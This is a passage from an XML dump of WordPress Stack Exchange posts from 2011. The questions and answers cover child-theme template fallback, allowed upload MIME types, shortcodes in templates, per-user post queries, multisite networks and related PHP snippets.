passes the buck to the parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say for a moment that you request a category listing of posts for the category cakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;example.com/category/cakes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress will first check to see if the child theme has a &lt;code&gt;category-slug.php&lt;/code&gt;(where slug is an applicable category slug) and if not checks the parent theme for a file with the same name. If neither exist WordPress continues working it's way through the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt;(see image below), first checking if the child theme has an applicable template to render the category archive, and again if not checks with the parent theme(moving down the template hierarchy as it goes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/hlWbg.png&quot; alt=&quot;WordPress template hierarchy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only file required in a child theme is the stylesheet, style.css, anything else is purely optional and only needed if you want to change/restyle that particular kind of request, again be it, category archives, date archives, the index, whatever..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's explained quite well on the &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme's codex page&lt;/a&gt;, worth a read if you've not yet done so.  &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-03-17T19:40:53.557" LastActivityDate="2011-03-17T19:40:53.557" CommentCount="1" />
  <row Id="11369" PostTypeId="2" ParentId="4142" CreationDate="2011-03-07T14:32:29.593" Score="1" ViewCount="" Body="&lt;p&gt;I have found the solution &lt;a href=&quot;http://netweblogic.com/other/adding-removing-allowed-filetypes-wordpress-media-library/&quot; rel=&quot;nofollow&quot;&gt;from here&lt;/a&gt;. And its working! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress has a set of restricted filetypes it will allow you to upload via the media library. Whilst this is a great security feature, there may be times where you’d like to add other files that are restricted by default, or maybe even the opposite where you’d only like to allow a few extensions to be uploaded. Fortunately, WordPress makes this dead easy with a small snippet of PHP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you’d like to add or remove a specific filetype that can be uploaded to wordpress via the media library, you can insert this PHP code in your theme functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;function my_myme_types($mime_types){&#xA;//Adjust the $mime_types, which is an associative array&#xA;//where the key is extension and value is mime type.&#xA;    return $mime_types;&#xA;}&#xA;add_filter('upload_mimes', 'my_myme_types', 1, 1);&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what you can do to add and remove a new filetype (in this example, I’m adding an extension that already exists, but the concept is the same):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;function my_myme_types($mime_types){&#xA;    $mime_types['avi'] = 'video/avi'; //Adding avi extension&#xA;    unset($mime_types['pdf']); //Removing the pdf extension&#xA;    return $mime_types;&#xA;}&#xA;add_filter('upload_mimes', 'my_myme_types', 1, 1);&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also reset the allowed filetypes by creating a new array within the function and returning these values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;function my_myme_types($mime_types){&#xA;    //Creating a new array will reset the allowed filetypes&#xA;    $mime_types = array(&#xA;        'jpg|jpeg|jpe' =&amp;gt; 'image/jpeg',&#xA;        'gif' =&amp;gt; 'image/gif',&#xA;        'png' =&amp;gt; 'image/png',&#xA;        'bmp' =&amp;gt; 'image/bmp',&#xA;        'tif|tiff' =&amp;gt; 'image/tiff'&#xA;    );&#xA;    return $mime_types;&#xA;}&#xA;add_filter('upload_mimes', 'my_myme_types', 1, 1);&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you’d like to see what filetypes are currently supported by wordpress, check out the function get_allowed_mime_types located in the wp-includes/functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2011-03-07T14:32:29.593" />
  <row Id="11370" PostTypeId="1" CreationDate="2011-03-07T14:41:22.343" Score="0" ViewCount="147" Body="&lt;p&gt;I put internal links in my blog posts to the tag and category pages in Wordpress. But in robots.txt I disallowed the search engines to crawl tag and category pages in order to prevent double content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I wonder whether I am doing right or wrong. Is it good in the name of SEO purposes to put internal links to tag/category pages whose content are actually disallowed for web spiders. &lt;/p&gt;&#xA;" OwnerUserId="2261" LastActivityDate="2011-09-04T20:42:16.030" Title="Internal Links to Tags and Categories. Is it good for SEO?" Tags="&lt;tags&gt;&lt;seo&gt;&lt;linking&gt;" AnswerCount="1" />
  <row Id="11371" PostTypeId="1" CreationDate="2011-03-07T15:19:04.823" Score="0" ViewCount="69" Body="&lt;p&gt;My recent upgrade to Wordpress 3.1 shows a funny phenomenon: All post moderation e-mails come as a duplicate. Any ideas where I could start to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3771" LastActivityDate="2011-03-07T15:19:04.823" Title="Duplicate moderation e-mails after upgrade to 3.1" Tags="&lt;3.1&gt;&lt;email&gt;&lt;upgrade&gt;&lt;moderation&gt;" />
  <row Id="11372" PostTypeId="2" ParentId="11367" CreationDate="2011-03-07T15:25:08.517" Score="3" ViewCount="" Body="&lt;p&gt;I think you're looking for the &lt;code&gt;do_shortcode()&lt;/code&gt; function. It allows you to paste a shortcode directly into a template file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-07T15:25:08.517" />
  <row Id="11373" PostTypeId="1" AcceptedAnswerId="11375" CreationDate="2011-03-07T15:32:44.010" Score="0" ViewCount="214" Body="&lt;p&gt;I'm using the following code to get ONLY posts with the post_type question and the current user who is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if no use is logged in all the posts are displayed anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $current_user; ?&amp;gt;&#xA;&amp;lt;?php get_currentuserinfo(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo 'Username: ' . $current_user-&amp;gt;user_login . &quot;\n&quot;; ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'question',&#xA;    'post_author'  =&amp;gt; $current_user-&amp;gt;ID)&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;&amp;lt;?php $custom_posts-&amp;gt;query($args); ?&amp;gt;&#xA;&amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php comments_number('0 Replies','1 Reply','% Replies'); ?&amp;gt;.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php display_votes(get_the_ID()); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php the_views(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;span class=&quot;cat-links&quot;&amp;gt;&#xA;        &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Posted in&amp;lt;/span&amp;gt; %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-07T15:56:56.930" Title="Showing only posts from the current user who is logged in?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;author&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11374" PostTypeId="2" ParentId="11367" CreationDate="2011-03-07T15:34:42.143" Score="1" ViewCount="" Body="&lt;p&gt;As dalton wrote, you are looking for the shortcode function. You can use the shortcode in your php files via this function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to put this lines in your &lt;strong&gt;question-form-page.php&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? echo do_shortcode('[question_form width=\'x\' bordercolor=\'x\' style=\'x\']question form title[/question_form]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-07T15:34:42.143" />
  <row Id="11375" PostTypeId="2" ParentId="11373" CreationDate="2011-03-07T15:56:56.930" Score="1" ViewCount="" Body="&lt;p&gt;The variable is not valorize:    $current_user-&gt;ID  is 0, so the query extracts all post, try to give it a non existent integer value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to substitute &lt;code&gt;$current_user-&amp;gt;ID&lt;/code&gt; with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;($current_user-&amp;gt;ID==0) : -1 ? $current_user-&amp;gt;ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It assign -1 to the author, if there is no user. So the query must return no results!&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-07T15:56:56.930" />
  <row Id="11377" PostTypeId="1" CreationDate="2011-03-07T17:01:48.587" Score="0" ViewCount="594" Body="&lt;p&gt;I've managed to add the required custom fields to my category edit page (the code is below). All I'd like to do it have the textareas #Category_Extras_Features and #Category_Extras_Applications to have a tinymce editor on them? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Add custom fields to category edit pages&#xA;// the option name&#xA;define('Category_Extras', 'Category_Extras_option');&#xA;&#xA;// your fields (the form)&#xA;add_filter('edit_category_form', 'Category_Extras');&#xA;function Category_Extras($tag) {&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;Category_Extras_Features&quot;&amp;gt;Category Features&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;width: 97%;&quot; cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;Category_Extras_Features&quot; id=&quot;Category_Extras_Features&quot;&amp;gt;&amp;lt;?php  echo $tag_extra_fields[$tag-&amp;gt;term_id]['Category_Extras_Features']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This isn't applicable to all categories but allows additional information to be displayed on a category page.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;Category_Extras_Applications&quot;&amp;gt;Category Applications&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea style=&quot;width: 97%;&quot; cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;Category_Extras_Applications&quot; id=&quot;Category_Extras_Applications&quot;&amp;gt;&amp;lt;?php  echo $tag_extra_fields[$tag-&amp;gt;term_id]['Category_Extras_Applications']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;p class=&quot;description&quot;&amp;gt;This isn't applicable to all categories but allows additional information to be displayed on a category page.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;&#xA;// when the form gets submitted, and the category gets updated (in your case the option will get updated with the values of your custom fields above&#xA;add_filter('edited_terms', 'update_Category_Extras');&#xA;function update_Category_Extras($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;    $tag_extra_fields[$term_id]['Category_Extras_Features'] = strip_tags($_POST['Category_Extras_Features']);&#xA;    $tag_extra_fields[$term_id]['Category_Extras_Applications'] = strip_tags($_POST['Category_Extras_Applications']);&#xA;    update_option(Category_Extras, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&#xA;&#xA;// when a category is removed&#xA;add_filter('deleted_term_taxonomy', 'remove_Category_Extras');&#xA;function remove_Category_Extras($term_id) {&#xA;  if($_POST['taxonomy'] == 'category'):&#xA;    $tag_extra_fields = get_option(Category_Extras);&#xA;    unset($tag_extra_fields[$term_id]);&#xA;    update_option(Category_Extras, $tag_extra_fields);&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible, and if so anyone know how to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-08-05T13:39:06.490" Title="Adding tinymce to Custom Field boxes on Category edit page" Tags="&lt;categories&gt;&lt;custom-field&gt;&lt;tinymce&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11378" PostTypeId="1" AcceptedAnswerId="11520" CreationDate="2011-03-07T17:02:32.023" Score="0" ViewCount="249" Body="&lt;p&gt;A recent upgrade to wordpress 3.1 broke a custom plugin written to make use of shortcode in order to generate easy embed html for brightcove videos. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what is happening in the following code that is incompatible with 3.1, and what needs to happen for it to be fixed? It was working fine in 3.0 prior to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/*&#xA;Plugin Name: Brightcove Video Player&#xA;Version: 1.0&#xA;Plugin URI: http://www.brightcove.com&#xA;Description: Simplifies the process of adding a Brightcove video to a WordPress blog.&#xA;Author: Bob de Wit&#xA;Author URI: http://brightcove.active6.com&#xA;*/&#xA;&#xA;//Set the publisher ID - YOU MUST SET THIS TO YOUR OWN PUBLISHER ID&#xA;$publisher = 1705665024;&#xA;&#xA;//Set a default player to use - YOU MUST SET THIS TO YOUR OWN DEFAULT PLAYER&#xA;$player = 1911416499;&#xA;&#xA;//Set width and height for the default video player&#xA;$width = 486;&#xA;$height = 412;&#xA;&#xA;//Define default video variable&#xA;$videoid = 0;&#xA;&#xA;//The actual parse content function called by the filter&#xA;//This will use the callback function BCVideo_Render to do the&#xA;//actual text replacement for the widget&#xA;function Brightcove_Parse($content)&#xA;{&#xA;    $content = preg_replace_callback(&quot;/\[brightcove ([^]]*)\/\]/i&quot;, &quot;Brightcove_Render&quot;, $content);&#xA;    return $content;&#xA;}&#xA;&#xA;function Brightcove_Render($matches)&#xA;{&#xA;    global $video, $player, $publisher, $width, $height, $arguments;&#xA;    $output = '';&#xA;    $matches[1] = str_replace(array('&amp;amp;#8221;','&amp;amp;#8243;'), '', $matches[1]);&#xA;    preg_match_all('/(\w*)=(.*?) /i', $matches[1], $attributes);&#xA;    $arguments = array();&#xA;&#xA;    foreach ( (array) $attributes[1] as $key =&amp;gt; $value )&#xA;  {&#xA;        // Strip out legacy quotes&#xA;        $arguments[$value] = str_replace('&quot;', '', $attributes[2][$key]);&#xA;    }&#xA;&#xA;  //print_r( $arguments );&#xA;&#xA;    if (( !array_key_exists('video', $arguments) ) &amp;amp;&amp;amp; ( !array_key_exists('player', $arguments) ))&#xA;  {&#xA;        return '&amp;lt;div style=&quot;background-color:#f99; padding:10px;&quot;&amp;gt;Brightcove Player Widget Error: Required parameter &quot;video&quot; or &quot;player&quot; is missing!&amp;lt;/div&amp;gt;';&#xA;        exit;&#xA;    }&#xA;    else&#xA;    {&#xA;    $video = $arguments['video'];&#xA;  }&#xA;&#xA;    if( array_key_exists('width', $arguments) )&#xA;  {&#xA;        $height = $arguments['width'];&#xA;    }&#xA;&#xA;    if( array_key_exists('height', $arguments) )&#xA;  {&#xA;        $height = $arguments['height'];&#xA;    }&#xA;&#xA;    if( array_key_exists('player', $arguments) )&#xA;  {&#xA;        $player = $arguments['player'];&#xA;    }&#xA;&#xA;  //$flashVars = &quot;isVid=1&amp;amp;playerID=$player&amp;amp;publisherID=$publisher&amp;amp;@videoPlayer=$video&quot;;&#xA;&#xA;  $output .= &quot;&amp;lt;embed src='http://c.brightcove.com/services/viewer/federated_f9/$player?isVid=1&amp;amp;publisherID=$publisher'&#xA;    bgcolor='#FFFFFF'&#xA;    flashVars='@videoPlayer=$video&amp;amp;playerID=$player&amp;amp;domain=embed&amp;amp;'&#xA;    base='http://admin.brightcove.com'&#xA;    name='flashObj'&#xA;    width='$width'&#xA;    height='$height'&#xA;    seamlesstabbing='false'&#xA;    type='application/x-shockwave-flash'&#xA;    allowFullScreen='true'&#xA;    swLiveConnect='true'&#xA;    pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash'&amp;gt;&#xA;  &amp;lt;/embed&amp;gt;&quot;;    &#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;//Add a filter hook - this registers the function for all content&#xA;//text (Pages and Posts) to search for the [CONTRIBUTOR_WIDGET] tag.&#xA;add_filter('the_content', 'Brightcove_Parse');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3774" LastActivityDate="2011-03-08T21:05:16.880" Title="Custom Shortcode Broken in Wordpress 3.1" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11379" PostTypeId="1" AcceptedAnswerId="11381" CreationDate="2011-03-07T17:13:59.817" Score="0" ViewCount="90" Body="&lt;p&gt;Can someone explain what a subpage is in wordpress?  Does it look any different from a regular page?  What is its purpose and what does it do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-03-07T18:19:05.137" LastActivityDate="2011-03-07T18:19:05.137" Title="What is a subpage in WordPress?" Tags="&lt;pages&gt;&lt;hierarchical&gt;" AnswerCount="2" />
  <row Id="11380" PostTypeId="2" ParentId="11370" CreationDate="2011-03-07T17:19:01.230" Score="0" ViewCount="" Body="&lt;p&gt;I wonder why you're disallowing the tag and category pages? They're some of the biggest entry pages on a number of sites I run.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-07T17:19:01.230" CommentCount="3" />
  <row Id="11381" PostTypeId="2" ParentId="11379" CreationDate="2011-03-07T17:22:31.003" Score="2" ViewCount="" Body="&lt;p&gt;The only difference between a page and a subpage is that a subpage contains it's parent in the URL, as will any pages that sit as children to the child page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For illustration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regular page:&lt;/strong&gt;&lt;br&gt;&#xA;example.com/a-page/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Subpage:&lt;/strong&gt;&lt;br&gt;&#xA;example.com/a-page/a-child-page/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sub Subpage:&lt;/strong&gt;&lt;br&gt;&#xA;example.com/a-page/a-child-page/another-child/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from the URL there's no other differences i can think of.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-07T17:22:31.003" />
  <row Id="11382" PostTypeId="1" AcceptedAnswerId="11391" CreationDate="2011-03-07T17:24:51.060" Score="0" ViewCount="109" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; plugin enables you to submit a custom post type called 'Questions' using a form that can be embeded in a page via shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of accomplishing the same, but this time, building a form and embedding it on a page to edit this custom post type and comments? (it doesn't have to be a shortcode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/FRSLL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-07T17:57:46.430" LastActivityDate="2011-03-07T19:56:39.100" Title="How to build a post and comment editing form in a page?" Tags="&lt;page&gt;&lt;editor&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11383" PostTypeId="2" ParentId="11379" CreationDate="2011-03-07T17:28:04.747" Score="2" ViewCount="" Body="&lt;p&gt;Subpage is a page, but hierarchical depend from parent. When using automatically built menu will be arranged in this hierarchy.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-07T17:28:04.747" />
  <row Id="11384" PostTypeId="1" CreationDate="2011-03-07T17:34:49.557" Score="1" ViewCount="96" Body="&lt;p&gt;I understand that WP3 integrated MU-WP inside the core, so now is &quot;pretty easy&quot; create a network of sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have some questions about this, because at my work we want to create a network, but already we have some sites, and I don't know how this could affect our current infrastructure.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I read that, for a network or sites, wordpress impose certain rules in the url generated. is this true? because if is, it could destroy ten years of google indexing in our site... :(&lt;/li&gt;&#xA;&lt;li&gt;Could we managed differents themes for every site in the network?&lt;/li&gt;&#xA;&lt;li&gt;And finally, in a networks of site, we could manage the register user in a separated way, or all the user of the net have the same access to the rest of the network?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3251" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-07T17:43:55.933" LastActivityDate="2011-03-07T18:25:42.850" Title="Create a network of sites" Tags="&lt;multisite&gt;&lt;network&gt;" AnswerCount="3" />
  <row Id="11385" PostTypeId="2" ParentId="11384" CreationDate="2011-03-07T17:43:42.797" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I read that, for a network or sites, wordpress impose certain rules in the url generated. is this true? because if is, it could destroy ten years of google indexing in our site... :(&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mostly whatever works for your individual sites (I assume they are on WP?) will work for multisite. Only explicit limitation that I remember is following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While permalinks will continue to work, the main blog (i.e. the first one created) will have an extra entry of blog, making your URLs appear like domain.com/blog/YYYY/MM/POSTNAME. (&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#Permalinks&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;_&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could we managed differents themes for every site in the network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, absolutely.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And finally, in a networks of site, we could manage the register user in a separated way, or all the user of the net have the same access to the rest of the network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Users can be handled separately on per-site basis.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-07T17:43:42.797" />
  <row Id="11386" PostTypeId="2" ParentId="11335" CreationDate="2011-03-07T17:57:33.930" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;https://wordpress.org/extend/plugins/jquery-image-lazy-loading/&quot; rel=&quot;nofollow&quot;&gt;jQuery lazy load plugin&lt;/a&gt; for WordPress worked well for me in the past. Note that in September 2010 the Lazy Load author &lt;a href=&quot;http://www.appelsiini.net/projects/lazyload&quot; rel=&quot;nofollow&quot;&gt;wrote this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lazy Load is currently not usable. It&#xA;  does not work with the latest browsers&#xA;  as expected. I have currently no time&#xA;  updating the code myself. Patches are&#xA;  always welcome. If you find a solution&#xA;  just fork and send a pull request.&#xA;  Thanks!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-03-07T17:57:33.930" CommentCount="2" />
  <row Id="11387" PostTypeId="2" ParentId="11384" CreationDate="2011-03-07T18:01:59.583" Score="1" ViewCount="" Body="&lt;p&gt;RE: Permalinks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each site within your network can have it's own permalink structure. The only limitation that I can think of is is you're trying to run sub-domains, which is a hairy issue for any webmaster trying to set it up :)&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-03-07T18:01:59.583" />
  <row Id="11388" PostTypeId="2" ParentId="11377" CreationDate="2011-03-07T18:06:36.150" Score="1" ViewCount="" Body="&lt;p&gt;Follow this tutorial &lt;a href=&quot;http://www.keighl.com/2010/01/tinymce-in-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;TinyMCE in WordPress Plugins&lt;/strong&gt;&lt;/a&gt;  and you'll get there.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T18:06:36.150" CommentCount="1" />
  <row Id="11389" PostTypeId="2" ParentId="11384" CreationDate="2011-03-07T18:25:42.850" Score="2" ViewCount="" Body="&lt;p&gt;A few more thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Users can be handled on a per-site basis, but they are also global in the entire network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you have pre-existing sites, they are not part of the network. Multsite will not be able to magically see them on the server. If you're doing this to manage existing sites, you will need to import them in to the network.&#xA;&lt;a href=&quot;http://sillybean.net/wordpress/migrating-single-wordpress-installations-into-multisite-networks/&quot; rel=&quot;nofollow&quot;&gt;http://sillybean.net/wordpress/migrating-single-wordpress-installations-into-multisite-networks/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this is what wordpress.COM uses to host their blogs. you get the basic version to make your own.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-07T18:25:42.850" />
  <row Id="11390" PostTypeId="1" CreationDate="2011-03-07T19:17:49.643" Score="0" ViewCount="194" Body="&lt;p&gt;Can you do a date comparison on a custom field and query two or more custom taxonomies using WP_Query? I'm trying to query a custom post type where it is assigned to two specific taxonomies and it's date (custom field) is greater than or equal to two days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following, but I do not believe it's evaluating the date comparison correctly. I get zero results, but I know that I have posts in my custom post type that should be queried.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_date = strtotime('-2 day', date_i18n('Y-m-d'));&#xA;$date = date_i18n('Y-m-d', $current_date);&#xA;&#xA;$args = array(&#xA;  'post_type' =&amp;gt; 'event',&#xA;  'post_status' =&amp;gt; 'publish',&#xA;  'tax_query' =&amp;gt; array(&#xA;      'relation' =&amp;gt; 'AND',&#xA;      array(&#xA;        'taxonomy' =&amp;gt; 'status',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; 'active'&#xA;      ),&#xA;      array(&#xA;        'taxonomy' =&amp;gt; 'city',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; get_query_var('city')&#xA;      )&#xA;  ),&#xA;  'meta_query' =&amp;gt; array(&#xA;      